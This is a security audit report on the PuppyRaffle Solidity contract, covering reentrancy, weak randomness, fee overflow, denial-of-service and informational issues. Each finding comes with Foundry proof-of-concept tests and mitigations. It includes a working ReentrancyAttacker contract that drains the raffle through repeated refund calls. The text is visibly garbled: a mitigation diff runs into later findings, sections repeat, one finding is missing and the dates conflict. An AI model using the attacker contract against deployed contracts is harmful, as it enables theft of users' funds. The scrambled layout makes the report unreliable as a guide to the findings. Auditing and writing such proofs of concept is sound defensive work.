PuppyRaffle Audit Report

Version 1.0

YSec

January 2, 2024

Protocol Audit Report

YSec

March 7, 2023

Prepared by: YSec

Lead Auditors: - Yanagi57

Table of Contents

Disclaimer

The YSec team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.

- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of Issues Found
High	3
Medium	3
Low	1
Info	4
Gas	2
Total	13

Findings

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle:refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to draint the contract balance.

In the `PuppyRaffle::refund` function, we are making external call to `msg.sender` before updating the players array.

```
function refund(uint256 playerIndex) public {
    //@audit mev
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

```

```
7  @>  payable(msg.sender).sendValue(entranceFee);
8  @>  players[playerIndex] = address(0);
9
10      emit RaffleRefunded(playerAddress);
11  }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund, they could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle:refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Code

Place the following into the `PuppyRaffleTest` contract.

```
1      function testReentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker atker = new ReentrancyAttacker(puppyRaffle);
10         address atkUser = makeAddr("attackUser");
11         vm.deal(atkUser, 1 ether);
12
13         uint256 startingAtkContractBal = address(atker).balance;
14         uint256 startingContractBal = address(puppyRaffle).balance;
15
16         vm.prank(atkUser);
17         atker.attack{value: entranceFee}();
18
19         uint256 endingAtkContractBal = address(atker).balance;
20         uint256 endingContractBal = address(puppyRaffle).balance;
21
22         console.log("starting attacker contract balance: ",
               startingAtkContractBal);
23         console.log("starting contract balance: ", startingContractBal)
               ;
```

```
24
25          console.log("ending attacker contract balance: ",
                endingAtkContractBal);
26          console.log("ending contract balance: ", endingContractBal);
27      }
```

And this under the `PuppyRaffleTest` contract.

```
1       contract ReentrancyAttacker {
2           PuppyRaffle puppyRaffle;
3
4           uint256 entranceFee;
5           uint256 attackerIdx;
6
7           constructor(PuppyRaffle _puppyRaffle) {
8               puppyRaffle = _puppyRaffle;
9               entranceFee = puppyRaffle.entranceFee();
10          }
11
12          function attack() external payable {
13              address[] memory players = new address[](1);
14              players[0] = address(this);
15              puppyRaffle.enterRaffle{value: entranceFee}(players);
16
17              attackerIdx = puppyRaffle.getActivePlayerIndex(address(this
                    ));
18              puppyRaffle.refund(attackerIdx);
19          }
20
21          function _stealMoney() internal {
22              if (address(puppyRaffle).balance >= entranceFee) {
23                  puppyRaffle.refund(attackerIdx);
24              }
25          }
26
27          fallback() external payable {
28              _stealMoney();
29          }
30
31          receive() external payable {
32              _stealMoney();
33          }
34      }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1   function refund(uint256 playerIndex) public {
2       address playerAddress = players[playerIndex];
```

```
3       require(playerAddress == msg.sender, "PuppyRaffle: Only the player
            can refund");
4       require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
5   +   players[playerIndex] = address(0);
6   +   emit RaffleRefunded(playerAddress);
7       payable(msg.sender).sendValue(entranceFee);
8   -   players[playerIndex] = address(0);
9   ## Informational
10
11  ### [I-1] Solidity pragma should be specific, not wide
12
13  Consider using a specific version of Solidity in your contracts instead
        of a wide version. For example, instead of `pragma solidity
        ^0.8.0;`, use `pragma solidity 0.8.0;`
14
15  - Found in src/PuppyRaffle.sol [Line: 4](src/PuppyRaffle.sol#L4)
16
17      ```solidity
18      pragma solidity ^0.7.6;
19      ```
20
21  ### [I-2] Using an outdated version of Solidity is not recommended
22
23  **Description:** solc frequently releases new compiler versions. Using
        an old version prevents access to new Solidity security checks. We
        also recommend avoiding complex pragma statement.
24
25  **Recommendation:**
26  Deploy with any of the following Solidity versions:
27
28  `0.8.18`
29  The recommendations take into account:
30
31  - Risks related to recent releases
32  - Risks of complex code generation changes
33  - Risks of new language features
34  - Risks of known bugs
35
36  Use a simple pragma version that allows any of these versions. Consider
        using the latest version of Solidity for testing.
37
38  Please see [slither](https://github.com/crytic/slither/wiki/Detector-
        Documentation#incorrect-versions-of-solidity) for more information.
39
40  ### [I-3]: Missing checks for `address(0)` when assigning values to
        address state variables
41
42  Assigning values to address state variables without checking for `
        address(0)`.
43
```

````
- Found in src/PuppyRaffle.sol [Line: 69](src/PuppyRaffle.sol#L69)

    ```solidity
            feeAddress = _feeAddress;
    ```

- Found in src/PuppyRaffle.sol [Line: 183](src/PuppyRaffle.sol#L183)

    ```solidity
            previousWinner = winner;
    ```

- Found in src/PuppyRaffle.sol [Line: 206](src/PuppyRaffle.sol#L206)

    ```solidity
            feeAddress = newFeeAddress;
    ```

### [I-4] `PuppyRaffle::selectWinner` does not follow CEI which is not a best practice

It's best to follow CEI (Checks, Effects, Interactions)
```diff

-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
````

[I-5]: Unchanged state variables should be declared constant or immutable

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`
````

[I-6]: Storage variables in a loop should be cached

Description: Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1
2 +       uint256 playerLength = players.length;
3 -       for (uint256 i = 0; i < players.length - 1; i++) {
4 +       for (uint256 i = 0; i < playerLength - 1; i++) {
5 -           for (uint256 j = i + 1; j < players.length; j++) {
6 +           for (uint256 j = i + 1; j < playerLength; j++) {
7                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
8             }
9         }
```

- emit RaffleRefunded(playerAddress); }

```
1
2 ### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users
      to influence or predict the winner and influence or predict the
      winning puppy
3
4 **Description:**  Hashing `msg.sender`, `block.timestamp` and `block.
      difficulty` together creates a predictable find number. A
      predictable number is not a good number.
5 Malicious users can manipulate these values or know them ahead of time
      to choose the winner of the raffle themselves.
6
7 *Note:*: This means user could front-run this function and call `refund
      ` if they see they are not the winner.
8
9 **Impact:** Any user can influence the winner of the raffle, winning
      the money and selecting the `rarest` puppy. Making the entire raffle
       worthless if it becomes a gas war as to
10 who wins the raffles.
11
12 **Proof of Concept:**
13
14 1. Validators can know ahead of time the `block.timestamp` and `block.
      difficulty` and use that to predict when/how to participate. See the
       [solidity blog on pervrandao](https://soliditydeveloper.com/
      prevrandao).
15 `block.difficulty` was recently replaced with prevrandao.
16 2. User can mine/manipulate their `msg.sender` value to result in their
       address being used to generate the winner!
17 3. Users can revert their `selectWinner` transaction if they don't like
       the winner or resulting puppy.
18
19 Using on-chain values as a randomness seed is a [well-documented attack
```

```
        vector](https://betterprogramming.pub/how-to-generate-truly-random-
    numbers-in-solidity-and-blockchain-9ced6472dbdf)
in the block chain space.

**Recommended Mitigation:** Consider using a cryptographically provable
     random number generator such as chainlink VRF.


### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses were
    subject to integer overflows.

**Description:**  In solidity version prior to `0.8.0` integers were
    subject to integer overflows.

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated
     for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees
    `. However, if the `totalFees` variable overflows,
the `feeAddress` may not collect the correct amount of fees, leaving
    the fees permanently stuck in the contract.

**Proof of Concept:**

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be
```sol
totalFees = totalFees + uint64(fee);
```

4. you will not be able to withdraw, due to the line `address(this).balance == uint256(totalFees)`

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impposible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
```
```

```
14      }
15      puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
16      // We end the raffle
17      vm.warp(block.timestamp + duration + 1);
18      vm.roll(block.number + 1);
19
20      // And here is where the issue occurs
21      // We will now have fewer fees even though we just finished a
            second raffle
22      puppyRaffle.selectWinner();
23
24      uint256 endingTotalFees = puppyRaffle.totalFees();
25      console.log("ending total fees", endingTotalFees);
26      assert(endingTotalFees < startingTotalFees);
27
28      // We are also unable to withdraw any fees because of the require
            check
29      vm.prank(puppyRaffle.feeAddress());
30      vm.expectRevert("PuppyRaffle: There are currently players active!")
            ;
31      puppyRaffle.withdrawFees();
32  }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` lib of Openzeppelin for version 0.7.6 of solidity, however you would still have a hard to with the `uint64` type if too many fees are collected
3. Remove the balance check from the `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle

starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
    // Check for duplicates
    //@audit-high Potential DoS attack
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

Attacker might make the `PuppyRaffle::players` array so big that no one else enters, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as suchh: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testCanDoS() public {
    vm.txGasPrice(1);
    uint256 numPlayers = 100;
    address[] memory players = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        players[i] = address(i);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst = gasStart - gasEnd;

    address[] memory playersTwo = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        playersTwo[i] = address(i + numPlayers);
    }

    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(playersTwo
        );
```

```
21      uint256 gasEndSecond = gasleft();
22      uint256 gasUsedSecond = gasStartSecond - gasEndSecond;
23      assert(gasUsedFirst < gasUsedSecond);
24  }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13 -        // Check for duplicates
14 -        for (uint256 i = 0; i < players.length - 1; i++) {
15 -            for (uint256 j = i + 1; j < players.length; j++) {
16 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
17 -            }
18 -        }
19 +        // Check for duplicates only from the new players
20 +        for (uint256 i = 0; i < newPlayers.length; i++) {
21 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
22 +        }
23          emit RaffleEnter(newPlayers);
24      }
```

Alternatively, you could use OpenZepplin's `EnumerableSet` library

[M-3] Smart contract wallers raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of (addresses -> Payout) so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

> Pull over push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to natspec, it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
```

```
6           }
7           return 0;
8       }
```

Impact: a player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters raffle, they are the first entrant
2. `PuppyRaffle::getPlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation:

1. Revert if the player is not in the array instead of returning 0
2. Reserve 0th position for competition, but a better solution might be to return an `int256` where if player is not found, returns -1

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 4

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 183

```
1           previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 206

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI which is not a best practice

It's best to follow CEI (Checks, Effects, Interactions)

```
1
2 -         (bool success,) = winner.call{value: prizePool}("");
3 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
4           _safeMint(winner, tokenId);
5 +         (bool success,) = winner.call{value: prizePool}("");
6 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

Gas

[G-1]: Unchanged state variables should be declared constant or immutable

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`

- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Storage variables in a loop should be cached

Description: Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1
2 +       uint256 playerLength = players.length;
3 -       for (uint256 i = 0; i < players.length - 1; i++) {
4 +       for (uint256 i = 0; i < playerLength - 1; i++) {
5 -           for (uint256 j = i + 1; j < players.length; j++) {
6 +           for (uint256 j = i + 1; j < playerLength; j++) {
7                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
8             }
9         }
```